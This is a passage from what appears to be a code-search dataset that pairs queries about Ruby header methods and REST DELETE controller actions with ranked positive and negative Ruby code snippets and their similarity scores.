RetrieveFriendsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "28976b81fe81569d8bb666a36053d1bc", "score": "0.6729432", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetSearchRecordsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "66bd0cf8ef965f052f9e0e41f86cdf07", "score": "0.6727787", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetDocumentResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "114712a30c9c80181d95c7618454d28c", "score": "0.6725133", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetPriceResultSet.new(resp)\n return results\n end", "title": "" } ]
8e8ccf611718573018e92f8b5a3149df
Header = (Include | Namespace)
[ { "docid": "1159327c8403afec8ca97775f2b09b27", "score": "0.76626927", "text": "def _Header\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_Include)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_Namespace)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_Header unless _tmp\n return _tmp\n end", "title": "" } ]
[ { "docid": "670753022103037d2667860e779196b6", "score": "0.6995327", "text": "def include_in_headers=(_arg0); end", "title": "" }, { "docid": "4b1417b8ceed908808d1cf3a9b1aaf61", "score": "0.69357574", "text": "def def_header\n tree[1]\n end", "title": "" }, { "docid": "89b0d69c2e5ee279a21d3dfa5405d965", "score": "0.6908479", "text": "def include_declaration; end", "title": "" }, { "docid": "b66410f48a3afa738b5a8b2786d874c5", "score": "0.68418366", "text": "def Header\n end", "title": "" }, { "docid": "f26060c2b8e99ce71628129a0ba5e0a0", "score": "0.68269426", "text": "def include_in_headers; end", "title": "" }, { "docid": "dafb7473f5a36619d7cc87becdf934db", "score": "0.67558527", "text": "def header\n {}\n end", "title": "" }, { "docid": "2100286ca7f52dab442d269c8842f301", "score": "0.67129123", "text": "def node_class\n HeaderNode\n end", "title": "" }, { "docid": "ebea6e5f72bf0cc84a2fa08d79d41cc3", "score": "0.6688618", "text": "def header\n <<HEADER\n/*\n * #{@name}\n * #{@description}\n *\n */\nHEADER\nend", "title": "" }, { "docid": "8376a2f07a13fc82e1f6c226bac6d532", "score": "0.6659652", "text": "def header\n end", "title": "" }, { "docid": "0b02b1c7bf2ee548cbd2750ee7cacfc3", "score": "0.6654031", "text": "def include\n prefix+\"include\"\n end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.6645288", "text": "def header; end", "title": "" }, { "docid": "d37d3afc92b6d3a13f7afbfb3bec14d9", "score": "0.6612271", "text": "def header\n @header\n end", "title": "" }, { "docid": "d1840b454a7ade9d2479cd280b185755", "score": "0.66110134", "text": "def add_header(path)\n\th = (Pathname.new(path).absolute? || File.exists?(path)) ? File.basename(path) : path\n\t@headers << path\n\t@imports << h\n\t@import_directive ||= ''\n\t@import_directive << \"\\n#include <#{h}>\"\n end", "title": "" }, { "docid": "f69dabafa42f6da2c66549cb910fa02a", "score": "0.65447676", "text": "def header(name)\n end", "title": "" }, { "docid": "ea5a4b7d2778ba747bbbbb9106b58d95", "score": "0.64802146", "text": "def header\n # do nothing\n end", "title": "" }, { "docid": "43de09b82097846ebc5bb72881d10437", "score": "0.6469304", "text": "def header\n\t\t@header\n\tend", "title": "" }, { "docid": "e6cb49a3e42fb33695daaa8d4415ee25", "score": "0.6456218", "text": "def vary_header_names; end", "title": "" }, { "docid": "5d8da8be2e9e0dd88b0ab1f471998eec", "score": "0.6450332", "text": "def include_header(*args)\n @available.include_header(*args)\n end", "title": "" }, { "docid": "d33c02fa578c0e0cdd9371147214263e", "score": "0.6409657", "text": "def include(header_name)\n add_code(\"#include #{header_name}\")\n end", "title": "" }, { "docid": "586b74ec42e9b44900522c7f43e65b80", "score": "0.6401738", "text": "def header_name\n HEADER_NAME\n end", "title": "" }, { "docid": "586b74ec42e9b44900522c7f43e65b80", "score": "0.6401738", "text": "def header_name\n HEADER_NAME\n end", "title": "" }, { "docid": "7199113c68338c007f6151c8b503ac74", "score": "0.6401156", "text": "def definitionHeader(headerType)\r\n header = <<EOF\r\n\r\n\r\n\r\n\r\n// ---------------------------- #{headerType} definitions ----------------------------\r\n\r\nEOF\r\n\r\n header\r\n end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.63910836", "text": "def header_options; end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.63910836", "text": "def header_options; end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.63910836", "text": "def header_options; end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.63910836", "text": "def header_options; end", "title": "" }, { "docid": "0d3cdf6c855c0d59526344b37a8b0587", "score": "0.6366052", "text": "def header\n @header ||= {}\n end", "title": "" }, { "docid": "f0038f9b69918b1a11d6fe3043923ac1", "score": "0.6314634", "text": "def headers\n { } # Return a blank hash that child classes can override or merge\n end", "title": "" }, { "docid": "b15c52f05b478ac53439787e3b31fa3a", "score": "0.62812996", "text": "def header\n @header ||= attribute_dsl.header\n end", "title": "" }, { "docid": "ba7d7693d6b363769eeac3f26cc2b383", "score": "0.6262339", "text": "def has_header?(name); end", "title": "" }, { "docid": "ba7d7693d6b363769eeac3f26cc2b383", "score": "0.6262339", "text": "def has_header?(name); end", "title": "" }, { "docid": "ba7d7693d6b363769eeac3f26cc2b383", "score": "0.6262339", "text": "def has_header?(name); end", "title": "" }, { "docid": "e5765b3c7c1c84c9be5f73cfe695dfb3", "score": "0.6244185", "text": "def header_line; end", "title": "" }, { "docid": "ea5d76ecc6e843c2d86df5f62ebd410d", "score": "0.62358385", "text": "def header=(_arg0); end", "title": "" }, { "docid": "ef3c1e4abf921e60619d91e0e8ae505f", "score": "0.6234911", "text": "def header( ) '' end", "title": "" }, { "docid": "ef3c1e4abf921e60619d91e0e8ae505f", "score": "0.6234911", "text": "def header( ) '' end", "title": "" }, { "docid": "e70f04e1cde02364fc4055ef26e1ae7e", "score": "0.62258965", "text": "def header(name, value); end", "title": "" }, { "docid": "e70f04e1cde02364fc4055ef26e1ae7e", "score": "0.62258965", "text": "def header(name, value); end", "title": "" }, { "docid": "e70f04e1cde02364fc4055ef26e1ae7e", "score": "0.62258965", "text": "def header(name, value); end", "title": "" }, { "docid": "241c4a4a5a6e0e5a038079f9d1cbf5da", "score": "0.622549", "text": "def outputHeader(output)\n output << <<-HEADER\n// Automatically Generated by GenVectorTests\nHEADER\nend", "title": "" }, { "docid": "e2503c153f60da7fa57986cd91d5fb67", "score": "0.62191105", "text": "def headers()\n end", "title": "" }, { "docid": "dd8dabf207b39ea1a091364c6ac38f46", "score": "0.6214438", "text": "def original_header; end", "title": "" }, { "docid": "c8a61cc640878cf830008e2d69e8c738", "score": "0.61931634", "text": "def header(req)\n return @header unless @header.nil?\n @header = document(req).root.children.find do |el|\n el.type == :header && el.options[:level] == 1\n end\n end", "title": "" }, { "docid": "c128974d6f477de7c718662574351ac2", "score": "0.6188998", "text": "def include; end", "title": "" }, { "docid": "4b4db3e2bdf563537a886efbbf9863b5", "score": "0.6188154", "text": "def headers\n #\n end", "title": "" }, { "docid": "97606b48d4a44c7b6f335b6884442caf", "score": "0.6183847", "text": "def header\n @header ||= primitives.map(&:header)\n end", "title": "" }, { "docid": "19b80c7daa1dcd56100faecba9150e3d", "score": "0.6172511", "text": "def simple_include(header)\n src = <<-SRC\n #{header_include_string}\n #include <#{header}>\n int main() { return 0; }\n SRC\n end", "title": "" }, { "docid": "00d3996e70fe1c4c74eeb447eb468006", "score": "0.6167754", "text": "def header()\n return @header\n end", "title": "" }, { "docid": "5b1ca5548326e3c42754a866fb62ab13", "score": "0.6161189", "text": "def headers\n {\n\n }\n end", "title": "" }, { "docid": "dd4e202495c2df13ab1674c61a6bef9e", "score": "0.61350125", "text": "def include_header(header, *paths)\n @headers << header if has_header?(header, *paths)\n end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6132233", "text": "def headers; end", "title": "" } ]
a3578b95c2602609b7b694ca60125edd
DELETE /resource_values/1 DELETE /resource_values/1.json
[ { "docid": "fec4fa15440720906ca77e14706445ff", "score": "0.7864796", "text": "def destroy\n @resource_value = ResourceValue.find(params[:id])\n @resource_value.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_values_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.72018796", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "8e448ff9240bd6b6429ea78689d829ef", "score": "0.71110255", "text": "def destroy\n @value = @asset.values.find(params[:id])\n @value.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8fbd9a0571edc81d35a9f63c33bdbe5a", "score": "0.69056916", "text": "def destroy\n @real_value = RealValue.find(params[:id])\n @real_value.destroy\n\n respond_to do |format|\n format.html { redirect_to real_values_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "fb3562959a1773355b4c0b81c4e6f783", "score": "0.6877058", "text": "def destroy\n @simple_value = SimpleValue.find(params[:id])\n @simple_value.destroy\n\n respond_to do |format|\n format.html { redirect_to simple_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "003826bcac3e5f66a0c6bd310e60ba7e", "score": "0.68386906", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.delete()\n render json: {status: 200}\n end", "title": "" }, { "docid": "fb48355ea25b97f2dc25a8ab5ebb3860", "score": "0.68356675", "text": "def destroy\n @reagent_value = ReagentValue.find(params[:id])\n @reagent_value.destroy\n\n respond_to do |format|\n format.html { redirect_to reagent_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c22b94cc5bcb75f793225f3e8daad1a4", "score": "0.68131834", "text": "def destroy\n onehost('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.6794283", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "295679bd7f985be688875ea757fff132", "score": "0.67821825", "text": "def destroy\n @statusvalue = Statusvalue.find(params[:id])\n @statusvalue.destroy\n\n respond_to do |format|\n format.html { redirect_to statusvalues_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "12b055f187606b2813628811c2cc93ea", "score": "0.6772486", "text": "def destroy\n\tputs \"destroy\"\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.6767766", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "4f588a203de0254579994f89344ee0e8", "score": "0.6767463", "text": "def domainResourceDelete args\n \tif not args.has_key(:ResourceID)\n \t\traise \"ResourceID argument missing from argument list\"\n \tend\n \t\n \tmake_request this_method, args\n end", "title": "" }, { "docid": "72f21bf9b56fca16101544d56802433e", "score": "0.6750495", "text": "def destroy\n @attribute_test_value.destroy\n respond_to do |format|\n format.html { redirect_to attribute_test_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "87632d2a9296136aa9adabc240e424ba", "score": "0.6722677", "text": "def delete(resource)\n\t\t\tend", "title": "" }, { "docid": "87632d2a9296136aa9adabc240e424ba", "score": "0.6722677", "text": "def delete(resource)\n\t\t\tend", "title": "" }, { "docid": "116f7d083680c722a2a128d8ea743c9b", "score": "0.6722503", "text": "def destroy\n @custom_value = CustomValue.find(params[:id])\n @custom_value.destroy\n\n respond_to do |format|\n format.html { redirect_to custom_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45fd0cb56fb90c39082cc1c6cbf834e7", "score": "0.671944", "text": "def destroy\n oneimage('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "45fd0cb56fb90c39082cc1c6cbf834e7", "score": "0.671944", "text": "def destroy\n oneimage('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "cf50a61006b0e6b3ec20f9114e0ec910", "score": "0.6708336", "text": "def destroy\n @datavalue = Datavalue.find(params[:id])\n @datavalue.destroy\n\n respond_to do |format|\n format.html { redirect_to datavalues_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0e82ff26734819737f904269816e3ca", "score": "0.66849196", "text": "def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.6673991", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "2070f20800d116e6cb91e24d0f7a49a3", "score": "0.66726345", "text": "def destroy\n @stat_value = StatValue.find(params[:id])\n @stat_value.destroy\n\n respond_to do |format|\n format.html { redirect_to stat_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c267d44eee753c4389d7521cf0c0d6ff", "score": "0.66563684", "text": "def delete(resource_type_identifier); end", "title": "" }, { "docid": "d8ea965d2a05b6048a21eb0f2314113f", "score": "0.6643049", "text": "def destroy\n @t_value.destroy\n respond_to do |format|\n format.html { redirect_to t_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "94ad1c119637632b6ee9fa38a4a14321", "score": "0.663933", "text": "def destroy\n @dummy_resource = DummyResource.find(params[:id])\n @dummy_resource.destroy\n\n respond_to do |format|\n format.html { redirect_to dummy_resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6b0c4297e2fd9c553acfa376efa3e4c1", "score": "0.66357636", "text": "def destroy\r\n @value_set = ValueSet.find(params[:id])\r\n @value_set.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to value_sets_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "e78462a6d3ed54efbb8f0c3fe3c5314d", "score": "0.6623534", "text": "def destroy\n @field_value = FieldValue.find(params[:id])\n @field_value.destroy\n\n respond_to do |format|\n format.html { redirect_to field_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b224599ca8f0c5e5fec82d9c11f8b7c8", "score": "0.6606625", "text": "def destroy\n @generic_table_fact_value = GenericTable::FactValue.find(params[:id])\n @generic_table_fact_value.destroy\n\n respond_to do |format|\n format.html { redirect_to generic_table_fact_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "108041bc77bf172cd96a4d4effa0512d", "score": "0.66026944", "text": "def delete(resource:)\n trace(\"valkyrie.delete\") do |span|\n span.set_tag(\"param.resource\", resource.id.to_s)\n __getobj__.delete(resource: resource)\n end\n end", "title": "" }, { "docid": "91dc412c6c0e12d31317840862f5688b", "score": "0.6576244", "text": "def destroy\n res = RESOURCE.find(params)\n\n if res.destroy\n render jsonapi: { meta: {} }, status: 200\n else\n render jsonapi_errors: res\n end\n end", "title": "" }, { "docid": "cf80dbdec1ac2b7c14dcd4f5954f33b6", "score": "0.6571892", "text": "def destroy\n @resource = @client.resources.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n flash[:notice] = 'Resource was successfully removed.' \n format.html { redirect_to client_resources_url(@client) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fe5edb82c0d9ce3f3f172af2d501cce8", "score": "0.65704125", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8e5a81e31a92eea490ce5e710299c8ea", "score": "0.65691304", "text": "def destroy\n @attr_value.destroy\n respond_to do |format|\n format.html { redirect_to attr_values_url, notice: 'Attr value was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "56f0b77fbb74b2e0d3a287d19fd512df", "score": "0.655826", "text": "def destroy\n @value.destroy\n respond_to do |format|\n format.html {redirect_to values_path, notice: \"Valor foi excluído\"}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "6994abe1b2246c92fdcec4f91409a03c", "score": "0.65570205", "text": "def destroy\n @attribute_value.destroy\n respond_to do |format|\n format.html { redirect_to attribute_values_url, notice: 'Attribute value was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7187115e7ae7b714181b8243204f120", "score": "0.65567", "text": "def destroy\n @alternate_value.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Alternate value was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "efc515bb8a9a32d9ce4ada9998f836ed", "score": "0.65518457", "text": "def destroy\n @custom_value.destroy\n respond_to do |format|\n format.html { redirect_to custom_values_url, notice: 'Custom value was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9a45892d57a7409747634a6118f3548d", "score": "0.6547008", "text": "def destroy\n @admin_field_value = Admin::FieldValue.find(params[:id])\n @admin_field_value.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_field_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9de367d426fde8154a18a0fa2af00ab4", "score": "0.65464914", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6caaeb69c5a42e68801946413c82b620", "score": "0.6545274", "text": "def delete( client, id = nil)\n # FIXME if id defined - should use class method\n id = self.resource_id unless id\n # FIXME if no id defined\n client.delete( (sprintf \"%s/%s\", end_point, id), { 'format' => 'json' })\n self.resource_id = nil\n end", "title": "" }, { "docid": "4a12ea58341825e2e72f0927d860686d", "score": "0.6543767", "text": "def destroy\n @config_value = ConfigValue.find(params[:id])\n @config_value.destroy\n\n respond_to do |format|\n format.html { redirect_to config_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.65383804", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "ea27f6f63af0b3bba92b48db21ff9ffc", "score": "0.6535791", "text": "def destroy\n @data_value.destroy\n respond_to do |format|\n format.html { redirect_to data_values_url, notice: \"Data value was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2ebaf584b38af6ac39a5774a85580bfe", "score": "0.6525244", "text": "def destroy\n onetemplate('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "2ebaf584b38af6ac39a5774a85580bfe", "score": "0.6525244", "text": "def destroy\n onetemplate('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "2ebaf584b38af6ac39a5774a85580bfe", "score": "0.6525244", "text": "def destroy\n onetemplate('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "575e9fab76164fb0b686192f06ca0838", "score": "0.65214765", "text": "def destroy\n @scalevalue.destroy\n respond_to do |format|\n format.html { redirect_to scalevalues_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c9ec6c9a6cd087d7c6f23ed42685e98a", "score": "0.65152574", "text": "def delete_resource\n nil\n end", "title": "" }, { "docid": "ac15c32c1fa6a910c298192a2135b9a5", "score": "0.64960194", "text": "def destroy\n @resource_item = ResourceItem.find(params[:id])\n @resource_item.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "888b1d690878bd4aae59acc514a146d8", "score": "0.6493199", "text": "def destroy\n resource_id = params[:id]\n head :no_content\n end", "title": "" }, { "docid": "31fe290ec9036156b091f8532426ab37", "score": "0.648195", "text": "def destroy\n onevm('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "31fe290ec9036156b091f8532426ab37", "score": "0.648195", "text": "def destroy\n onevm('delete', resource[:name])\n @property_hash.clear\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.64704335", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "0ac7b61ce738e7065a0f6044e7e6200e", "score": "0.646495", "text": "def destroy\n @attempt_value = AttemptValue.find(params[:id])\n @attempt_value.destroy\n\n respond_to do |format|\n format.html { redirect_to attempt_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "adb03d7f3885965b7982403c8a4efabe", "score": "0.6457912", "text": "def destroy\n @key_resource.destroy\n respond_to do |format|\n format.html { redirect_to key_resources_url, notice: 'Key Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dd28d3e1a88c9bb835fba6d92785ccca", "score": "0.64534765", "text": "def destroy\n @sp_resource = SpResource.find(params[:id])\n @sp_resource.destroy\n\n respond_to do |format|\n format.html { redirect_to sp_resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8684a8bf9591ea284dd98071907cb526", "score": "0.6452333", "text": "def destroy\n @economic_parameter_value = EconomicParameterValue.find(params[:id])\n @economic_parameter_value.destroy\n\n respond_to do |format|\n format.html { redirect_to economic_parameter_values_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.6450731", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "8abacad3f4ed783396e5699503a96ef1", "score": "0.64505595", "text": "def destroy\n @value = Value.find(params[:id])\n @value.destroy\n\n respond_to do |format|\n# format.html { redirect_to values_url }\n# format.html { redirect_to site_counter_path(@counter.site, @counter), notice: 'Value was successfully deleted.' }\n format.html { redirect_to site_counter_path(@value.counter.site, @value.counter), notice: 'Value was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3db61ee34d6c5a43e5890a310b8dcf2e", "score": "0.64455503", "text": "def destroy\n @customvalue.destroy\n respond_to do |format|\n format.html { redirect_to customvalues_url, notice: 'Customvalue was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.6443839", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "a93139d773ff4eef2d4de23ed6786b9d", "score": "0.64311355", "text": "def destroy\n @violation.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ac6ce581a27e69d0fc21ae3d9c02ce26", "score": "0.6430433", "text": "def delete\n self.class.headers 'Authorization' => \"OAuth #{ENV['sfdc_token']}\"\n self.class.headers 'Content-Type' => \"application/json\"\n response = 